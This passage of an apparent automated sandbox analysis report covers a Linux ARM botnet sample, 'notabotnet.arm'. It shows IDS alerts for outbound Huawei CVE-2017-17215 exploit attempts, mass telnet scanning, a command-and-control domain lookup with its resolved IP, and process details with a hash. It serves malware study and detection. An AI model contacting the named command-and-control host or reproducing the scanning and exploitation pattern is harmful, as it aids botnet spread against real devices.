192.168.2.23156.250.115.24033420372152835222 08/06/22-07:21:20.543254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33420	37215	192.168.2.23	156.250.115.240
192.168.2.23156.250.100.8457436372152835222 08/06/22-07:20:06.851930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57436	37215	192.168.2.23	156.250.100.84
192.168.2.23156.241.99.1735304372152835222 08/06/22-07:19:43.361911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35304	37215	192.168.2.23	156.241.99.17
192.168.2.23156.225.145.14155966372152835222 08/06/22-07:19:46.935588	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55966	37215	192.168.2.23	156.225.145.141
192.168.2.238.8.8.853706532012811 08/06/22-07:19:18.475451	UDP	2012811	ET DNS Query to a .tk domain - Likely Hostile	53706	53	192.168.2.23	8.8.8.8
192.168.2.23156.224.19.22252936372152835222 08/06/22-07:20:06.720074	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52936	37215	192.168.2.23	156.224.19.222
192.168.2.23156.224.9.20653706372152835222 08/06/22-07:19:24.221104	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53706	37215	192.168.2.23	156.224.9.206
192.168.2.23156.245.56.12560782372152835222 08/06/22-07:21:11.092379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60782	37215	192.168.2.23	156.245.56.125
192.168.2.23156.226.75.22833396372152835222 08/06/22-07:19:39.967769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33396	37215	192.168.2.23	156.226.75.228
192.168.2.23156.250.94.10446054372152835222 08/06/22-07:20:46.861808	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46054	37215	192.168.2.23	156.250.94.104
192.168.2.23156.244.93.4250026372152835222 08/06/22-07:19:43.368461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50026	37215	192.168.2.23	156.244.93.42
192.168.2.23156.238.15.20444758372152835222 08/06/22-07:20:23.994081	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44758	37215	192.168.2.23	156.238.15.204
192.168.2.23156.245.36.18148390372152835222 08/06/22-07:21:07.429076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48390	37215	192.168.2.23	156.245.36.181
192.168.2.23156.245.60.14053584372152835222 08/06/22-07:20:24.016463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53584	37215	192.168.2.23	156.245.60.140
192.168.2.23156.226.30.16142840372152835222 08/06/22-07:21:13.813244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42840	37215	192.168.2.23	156.226.30.161
192.168.2.23156.235.104.13638016372152835222 08/06/22-07:21:07.325992	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38016	37215	192.168.2.23	156.235.104.136
192.168.2.23156.241.125.13656354372152835222 08/06/22-07:21:02.342117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56354	37215	192.168.2.23	156.241.125.136
192.168.2.23156.250.15.22444224372152835222 08/06/22-07:20:46.875148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44224	37215	192.168.2.23	156.250.15.224
192.168.2.23156.230.25.4052572372152835222 08/06/22-07:20:01.144639	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52572	37215	192.168.2.23	156.230.25.40
192.168.2.23156.241.103.12046710372152835222 08/06/22-07:20:29.963710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46710	37215	192.168.2.23	156.241.103.120
192.168.2.23156.244.125.138204372152835222 08/06/22-07:20:00.952733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38204	37215	192.168.2.23	156.244.125.1
192.168.2.23156.241.91.24040938372152835222 08/06/22-07:19:24.295713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40938	37215	192.168.2.23	156.241.91.240
192.168.2.23156.254.111.15043388372152835222 08/06/22-07:20:01.152294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43388	37215	192.168.2.23	156.254.111.150
192.168.2.23156.254.90.13632874372152835222 08/06/22-07:19:24.221072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32874	37215	192.168.2.23	156.254.90.136
192.168.2.23156.241.74.5945650372152835222 08/06/22-07:21:17.178265	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45650	37215	192.168.2.23	156.241.74.59
192.168.2.23156.247.17.6852950372152835222 08/06/22-07:19:25.518855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52950	37215	192.168.2.23	156.247.17.68
192.168.2.23156.241.81.2057262372152835222 08/06/22-07:20:46.869967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57262	37215	192.168.2.23	156.241.81.20
192.168.2.23156.225.156.15546128372152835222 08/06/22-07:21:13.807326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46128	37215	192.168.2.23	156.225.156.155
192.168.2.23156.226.72.21758034372152835222 08/06/22-07:20:49.212460	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58034	37215	192.168.2.23	156.226.72.217
192.168.2.23156.241.84.7160110372152835222 08/06/22-07:19:25.876818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60110	37215	192.168.2.23	156.241.84.71
192.168.2.23197.234.43.15149334372152835222 08/06/22-07:19:52.351873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49334	37215	192.168.2.23	197.234.43.151
192.168.2.23156.244.69.10653374372152835222 08/06/22-07:19:29.489873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53374	37215	192.168.2.23	156.244.69.106
192.168.2.23197.246.248.12934130372152835222 08/06/22-07:20:39.259211	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34130	37215	192.168.2.23	197.246.248.129
192.168.2.23156.235.111.19760086372152835222 08/06/22-07:21:07.326010	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60086	37215	192.168.2.23	156.235.111.197
192.168.2.23156.226.33.12842834372152835222 08/06/22-07:20:07.122992	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42834	37215	192.168.2.23	156.226.33.128
192.168.2.23156.250.84.21634314372152835222 08/06/22-07:21:13.530696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34314	37215	192.168.2.23	156.250.84.216
192.168.2.23156.226.111.24038052372152835222 08/06/22-07:21:07.604064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38052	37215	192.168.2.23	156.226.111.240
192.168.2.23156.254.91.4356600372152835222 08/06/22-07:19:52.243025	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56600	37215	192.168.2.23	156.254.91.43
192.168.2.23156.226.72.16849466372152835222 08/06/22-07:20:00.976466	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49466	37215	192.168.2.23	156.226.72.168
192.168.2.23156.224.22.9337258372152835222 08/06/22-07:19:46.797331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37258	37215	192.168.2.23	156.224.22.93
192.168.2.23156.250.4.2133800372152835222 08/06/22-07:19:29.496580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33800	37215	192.168.2.23	156.250.4.21
192.168.2.23156.245.36.5059962372152835222 08/06/22-07:20:07.124180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59962	37215	192.168.2.23	156.245.36.50
192.168.2.23156.252.26.14232834372152835222 08/06/22-07:19:29.389161	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32834	37215	192.168.2.23	156.252.26.142
192.168.2.23156.245.34.11347958372152835222 08/06/22-07:20:53.752304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47958	37215	192.168.2.23	156.245.34.113
192.168.2.23156.235.105.17158120372152835222 08/06/22-07:20:00.838160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58120	37215	192.168.2.23	156.235.105.171
192.168.2.23156.235.106.23238052372152835222 08/06/22-07:19:46.804785	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38052	37215	192.168.2.23	156.235.106.232
192.168.2.23156.235.101.9851636372152835222 08/06/22-07:21:11.184192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51636	37215	192.168.2.23	156.235.101.98
192.168.2.23156.254.34.11539034372152835222 08/06/22-07:20:06.738093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39034	37215	192.168.2.23	156.254.34.115
192.168.2.23156.244.67.17139928372152835222 08/06/22-07:20:54.031258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39928	37215	192.168.2.23	156.244.67.171
192.168.2.23156.245.33.7240872372152835222 08/06/22-07:19:43.361861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40872	37215	192.168.2.23	156.245.33.72
192.168.2.23156.224.15.453854372152835222 08/06/22-07:19:43.569760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53854	37215	192.168.2.23	156.224.15.4
192.168.2.23156.244.101.19635582372152835222 08/06/22-07:19:52.333819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35582	37215	192.168.2.23	156.244.101.196
192.168.2.23197.238.136.19433464372152835222 08/06/22-07:20:51.343241	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33464	37215	192.168.2.23	197.238.136.194
192.168.2.23156.225.153.22651524372152835222 08/06/22-07:19:30.088494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51524	37215	192.168.2.23	156.225.153.226
192.168.2.23156.227.241.6543306372152835222 08/06/22-07:19:24.221136	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43306	37215	192.168.2.23	156.227.241.65
192.168.2.23156.240.104.17051482372152835222 08/06/22-07:21:11.008228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51482	37215	192.168.2.23	156.240.104.170
192.168.2.23156.241.8.15538456372152835222 08/06/22-07:21:02.280154	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38456	37215	192.168.2.23	156.241.8.155
192.168.2.23156.244.84.16735050372152835222 08/06/22-07:19:25.593415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35050	37215	192.168.2.23	156.244.84.167
192.168.2.23156.238.60.2147264372152835222 08/06/22-07:20:06.840968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47264	37215	192.168.2.23	156.238.60.21
192.168.2.23156.241.90.4941258372152835222 08/06/22-07:20:04.503966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41258	37215	192.168.2.23	156.241.90.49
192.168.2.23156.250.127.7536324372152835222 08/06/22-07:19:26.178572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36324	37215	192.168.2.23	156.250.127.75
192.168.2.23156.226.33.5942952372152835222 08/06/22-07:19:27.174349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42952	37215	192.168.2.23	156.226.33.59
192.168.2.23156.244.74.19541006372152835222 08/06/22-07:20:04.504021	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41006	37215	192.168.2.23	156.244.74.195
192.168.2.23156.250.124.1149526372152835222 08/06/22-07:20:27.641269	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49526	37215	192.168.2.23	156.250.124.11
192.168.2.23156.244.72.5148544372152835222 08/06/22-07:19:30.062165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48544	37215	192.168.2.23	156.244.72.51
192.168.2.23156.244.90.7934776372152835222 08/06/22-07:21:02.337983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34776	37215	192.168.2.23	156.244.90.79
192.168.2.23156.226.35.14742074372152835222 08/06/22-07:21:04.689014	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42074	37215	192.168.2.23	156.226.35.147
192.168.2.23156.225.148.3636882372152835222 08/06/22-07:20:49.212415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36882	37215	192.168.2.23	156.225.148.36
192.168.2.23156.241.67.22337336372152835222 08/06/22-07:19:32.414471	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37336	37215	192.168.2.23	156.241.67.223
192.168.2.23156.244.103.6132964372152835222 08/06/22-07:21:13.529327	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32964	37215	192.168.2.23	156.244.103.61
192.168.2.23156.250.105.25554474372152835222 08/06/22-07:19:26.154807	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54474	37215	192.168.2.23	156.250.105.255
192.168.2.23156.224.21.15147910372152835222 08/06/22-07:19:29.389496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47910	37215	192.168.2.23	156.224.21.151
192.168.2.23156.250.113.050732372152835222 08/06/22-07:20:24.003561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50732	37215	192.168.2.23	156.250.113.0
192.168.2.23156.241.118.23247680372152835222 08/06/22-07:21:04.696969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47680	37215	192.168.2.23	156.241.118.232
192.168.2.23156.240.110.11258798372152835222 08/06/22-07:19:32.332687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58798	37215	192.168.2.23	156.240.110.112
192.168.2.23156.226.105.6854090372152835222 08/06/22-07:20:58.709810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54090	37215	192.168.2.23	156.226.105.68
192.168.2.23156.241.114.8253964372152835222 08/06/22-07:20:46.873374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53964	37215	192.168.2.23	156.241.114.82
192.168.2.23156.226.69.25157096372152835222 08/06/22-07:21:13.836375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57096	37215	192.168.2.23	156.226.69.251
192.168.2.23156.250.19.19034684372152835222 08/06/22-07:21:20.519259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34684	37215	192.168.2.23	156.250.19.190
192.168.2.23156.250.66.24648736372152835222 08/06/22-07:19:25.592979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48736	37215	192.168.2.23	156.250.66.246
192.168.2.23156.254.68.6639534372152835222 08/06/22-07:21:13.731473	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39534	37215	192.168.2.23	156.254.68.66
192.168.2.23156.226.76.12758024372152835222 08/06/22-07:21:07.140930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58024	37215	192.168.2.23	156.226.76.127
192.168.2.23156.241.83.24846166372152835222 08/06/22-07:19:29.498077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46166	37215	192.168.2.23	156.241.83.248
192.168.2.23156.241.107.10435974372152835222 08/06/22-07:21:00.015237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35974	37215	192.168.2.23	156.241.107.104
192.168.2.23156.241.89.4442634372152835222 08/06/22-07:19:39.964819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42634	37215	192.168.2.23	156.241.89.44
192.168.2.23156.227.247.9935490372152835222 08/06/22-07:19:32.332760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35490	37215	192.168.2.23	156.227.247.99

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 6, 2022 07:19:17.541549921 CEST	42836	443	192.168.2.23	91.189.91.43
Aug 6, 2022 07:19:17.799074888 CEST	23	33662	124.119.8.101	192.168.2.23
Aug 6, 2022 07:19:17.799235106 CEST	33662	23	192.168.2.23	124.119.8.101
Aug 6, 2022 07:19:18.309341908 CEST	42516	80	192.168.2.23	109.202.202.202
Aug 6, 2022 07:19:18.465517044 CEST	29180	2323	192.168.2.23	116.56.110.159
Aug 6, 2022 07:19:18.465599060 CEST	29180	23	192.168.2.23	34.150.65.145
Aug 6, 2022 07:19:18.465604067 CEST	29180	23	192.168.2.23	39.126.72.102
Aug 6, 2022 07:19:18.465615034 CEST	29180	23	192.168.2.23	176.52.77.213
Aug 6, 2022 07:19:18.465621948 CEST	29180	23	192.168.2.23	196.101.120.24
Aug 6, 2022 07:19:18.465626955 CEST	29180	23	192.168.2.23	85.200.16.252
Aug 6, 2022 07:19:18.465641022 CEST	29180	23	192.168.2.23	118.157.130.153
Aug 6, 2022 07:19:18.465651035 CEST	29180	23	192.168.2.23	1.104.124.159
Aug 6, 2022 07:19:18.465662003 CEST	29180	2323	192.168.2.23	193.221.73.153
Aug 6, 2022 07:19:18.465704918 CEST	29180	23	192.168.2.23	83.75.48.135
Aug 6, 2022 07:19:18.465703964 CEST	29180	23	192.168.2.23	68.58.230.35
Aug 6, 2022 07:19:18.465833902 CEST	29180	23	192.168.2.23	191.175.112.98
Aug 6, 2022 07:19:18.465850115 CEST	29180	23	192.168.2.23	72.203.221.48
Aug 6, 2022 07:19:18.465866089 CEST	29180	23	192.168.2.23	141.144.119.68
Aug 6, 2022 07:19:18.465871096 CEST	29180	23	192.168.2.23	80.130.78.31
Aug 6, 2022 07:19:18.465873003 CEST	29180	23	192.168.2.23	37.42.75.78
Aug 6, 2022 07:19:18.465878963 CEST	29180	23	192.168.2.23	152.253.49.143
Aug 6, 2022 07:19:18.465881109 CEST	29180	23	192.168.2.23	151.108.102.79
Aug 6, 2022 07:19:18.465889931 CEST	29180	23	192.168.2.23	119.197.74.232
Aug 6, 2022 07:19:18.465892076 CEST	29180	23	192.168.2.23	167.86.116.219
Aug 6, 2022 07:19:18.465898991 CEST	29180	23	192.168.2.23	125.101.213.139
Aug 6, 2022 07:19:18.465898991 CEST	29180	23	192.168.2.23	139.203.154.229
Aug 6, 2022 07:19:18.465903997 CEST	29180	23	192.168.2.23	220.65.40.59
Aug 6, 2022 07:19:18.465910912 CEST	29180	23	192.168.2.23	58.122.40.186
Aug 6, 2022 07:19:18.465913057 CEST	29180	23	192.168.2.23	202.197.101.152
Aug 6, 2022 07:19:18.465914011 CEST	29180	2323	192.168.2.23	218.13.20.13
Aug 6, 2022 07:19:18.465919018 CEST	29180	23	192.168.2.23	58.219.19.82
Aug 6, 2022 07:19:18.465922117 CEST	29180	23	192.168.2.23	218.103.83.111
Aug 6, 2022 07:19:18.465924025 CEST	29180	2323	192.168.2.23	109.29.148.5
Aug 6, 2022 07:19:18.465934992 CEST	29180	23	192.168.2.23	198.171.228.170
Aug 6, 2022 07:19:18.465935946 CEST	29180	23	192.168.2.23	9.4.235.154
Aug 6, 2022 07:19:18.465941906 CEST	29180	23	192.168.2.23	2.10.196.179
Aug 6, 2022 07:19:18.465945005 CEST	29180	23	192.168.2.23	69.223.143.26
Aug 6, 2022 07:19:18.465949059 CEST	29180	23	192.168.2.23	220.193.54.225
Aug 6, 2022 07:19:18.465975046 CEST	29180	23	192.168.2.23	161.8.30.35
Aug 6, 2022 07:19:18.465989113 CEST	29180	23	192.168.2.23	106.6.122.153
Aug 6, 2022 07:19:18.466012955 CEST	29180	23	192.168.2.23	118.192.104.215
Aug 6, 2022 07:19:18.466027975 CEST	29180	23	192.168.2.23	209.108.91.159
Aug 6, 2022 07:19:18.466094017 CEST	29180	23	192.168.2.23	121.120.91.176
Aug 6, 2022 07:19:18.466097116 CEST	29180	2323	192.168.2.23	124.38.3.57
Aug 6, 2022 07:19:18.466104031 CEST	29180	23	192.168.2.23	86.32.135.29
Aug 6, 2022 07:19:18.466108084 CEST	29180	23	192.168.2.23	98.55.142.82
Aug 6, 2022 07:19:18.466129065 CEST	29180	23	192.168.2.23	1.161.18.100
Aug 6, 2022 07:19:18.466133118 CEST	29180	23	192.168.2.23	181.240.195.90
Aug 6, 2022 07:19:18.466156006 CEST	29180	23	192.168.2.23	128.20.33.158
Aug 6, 2022 07:19:18.466157913 CEST	29180	23	192.168.2.23	79.162.234.61
Aug 6, 2022 07:19:18.466169119 CEST	29180	23	192.168.2.23	172.131.22.119
Aug 6, 2022 07:19:18.466172934 CEST	29180	23	192.168.2.23	169.225.116.93
Aug 6, 2022 07:19:18.466181040 CEST	29180	23	192.168.2.23	122.174.152.85
Aug 6, 2022 07:19:18.466200113 CEST	29180	23	192.168.2.23	209.172.198.95
Aug 6, 2022 07:19:18.466212988 CEST	29180	2323	192.168.2.23	168.221.214.85
Aug 6, 2022 07:19:18.466223955 CEST	29180	23	192.168.2.23	82.190.190.91
Aug 6, 2022 07:19:18.466231108 CEST	29180	23	192.168.2.23	195.243.16.144
Aug 6, 2022 07:19:18.466288090 CEST	29180	23	192.168.2.23	152.98.172.227
Aug 6, 2022 07:19:18.466326952 CEST	29180	23	192.168.2.23	182.75.41.248
Aug 6, 2022 07:19:18.466329098 CEST	29180	23	192.168.2.23	148.19.105.22
Aug 6, 2022 07:19:18.466344118 CEST	29180	23	192.168.2.23	139.195.74.224
Aug 6, 2022 07:19:18.466346979 CEST	29180	23	192.168.2.23	89.163.30.82
Aug 6, 2022 07:19:18.466350079 CEST	29180	23	192.168.2.23	220.251.128.212
Aug 6, 2022 07:19:18.466365099 CEST	29180	23	192.168.2.23	124.34.197.179
Aug 6, 2022 07:19:18.466381073 CEST	29180	23	192.168.2.23	213.3.243.158
Aug 6, 2022 07:19:18.466383934 CEST	29180	2323	192.168.2.23	162.112.237.220
Aug 6, 2022 07:19:18.466394901 CEST	29180	23	192.168.2.23	66.152.252.39
Aug 6, 2022 07:19:18.466404915 CEST	29180	23	192.168.2.23	120.100.180.104
Aug 6, 2022 07:19:18.466417074 CEST	29180	23	192.168.2.23	39.167.22.177
Aug 6, 2022 07:19:18.466419935 CEST	29180	23	192.168.2.23	145.254.238.63
Aug 6, 2022 07:19:18.466428995 CEST	29180	23	192.168.2.23	122.221.233.80
Aug 6, 2022 07:19:18.466448069 CEST	29180	23	192.168.2.23	192.162.201.54
Aug 6, 2022 07:19:18.466450930 CEST	29180	23	192.168.2.23	173.234.106.111
Aug 6, 2022 07:19:18.466463089 CEST	29180	2323	192.168.2.23	17.177.18.74
Aug 6, 2022 07:19:18.466470957 CEST	29180	23	192.168.2.23	92.118.250.180
Aug 6, 2022 07:19:18.466471910 CEST	29180	23	192.168.2.23	167.70.83.23
Aug 6, 2022 07:19:18.466479063 CEST	29180	23	192.168.2.23	74.26.202.18
Aug 6, 2022 07:19:18.466490984 CEST	29180	23	192.168.2.23	204.129.230.14
Aug 6, 2022 07:19:18.466511011 CEST	29180	23	192.168.2.23	209.128.150.108
Aug 6, 2022 07:19:18.466515064 CEST	29180	23	192.168.2.23	5.249.5.74
Aug 6, 2022 07:19:18.466527939 CEST	29180	23	192.168.2.23	123.41.83.241
Aug 6, 2022 07:19:18.466537952 CEST	29180	23	192.168.2.23	181.210.140.221
Aug 6, 2022 07:19:18.466545105 CEST	29180	23	192.168.2.23	187.208.114.220
Aug 6, 2022 07:19:18.466542006 CEST	29180	23	192.168.2.23	93.111.31.185
Aug 6, 2022 07:19:18.466540098 CEST	29180	2323	192.168.2.23	8.105.131.189
Aug 6, 2022 07:19:18.466572046 CEST	29180	23	192.168.2.23	188.94.106.67
Aug 6, 2022 07:19:18.466577053 CEST	29180	23	192.168.2.23	41.18.151.173
Aug 6, 2022 07:19:18.466582060 CEST	29180	23	192.168.2.23	41.64.175.171
Aug 6, 2022 07:19:18.466592073 CEST	29180	23	192.168.2.23	210.16.213.52
Aug 6, 2022 07:19:18.466593981 CEST	29180	23	192.168.2.23	171.197.95.152
Aug 6, 2022 07:19:18.466608047 CEST	29180	23	192.168.2.23	63.87.152.14
Aug 6, 2022 07:19:18.466613054 CEST	29180	23	192.168.2.23	42.1.171.62
Aug 6, 2022 07:19:18.466614008 CEST	29180	23	192.168.2.23	170.6.233.15
Aug 6, 2022 07:19:18.466633081 CEST	29180	23	192.168.2.23	83.50.180.217
Aug 6, 2022 07:19:18.466633081 CEST	29180	23	192.168.2.23	178.240.37.119
Aug 6, 2022 07:19:18.466639042 CEST	29180	2323	192.168.2.23	62.153.247.235
Aug 6, 2022 07:19:18.466655970 CEST	29180	23	192.168.2.23	161.70.226.39
Aug 6, 2022 07:19:18.466665983 CEST	29180	23	192.168.2.23	173.146.61.237
Aug 6, 2022 07:19:18.466685057 CEST	29180	23	192.168.2.23	221.164.55.202
Aug 6, 2022 07:19:18.466711998 CEST	29180	23	192.168.2.23	107.243.121.171

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 6, 2022 07:19:18.475450993 CEST	192.168.2.23	8.8.8.8	0x63da	Standard query (0)	cnc.fearfulcats.tk	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 6, 2022 07:19:18.604743958 CEST	8.8.8.8	192.168.2.23	0x63da	No error (0)	cnc.fearfulcats.tk		185.225.73.158	A (IP address)	IN (0x0001)

System Behavior

Analysis Process: notabotnet.arm PID: 6236, Parent PID: 6127

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	/tmp/notabotnet.arm
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6238, Parent PID: 6236

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6239, Parent PID: 6236

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6241, Parent PID: 6239

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6243, Parent PID: 6239

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6246, Parent PID: 6239

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6248, Parent PID: 6239

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: notabotnet.arm PID: 6251, Parent PID: 6239

General

Start time:	07:19:17
Start date:	06/08/2022
Path:	/tmp/notabotnet.arm
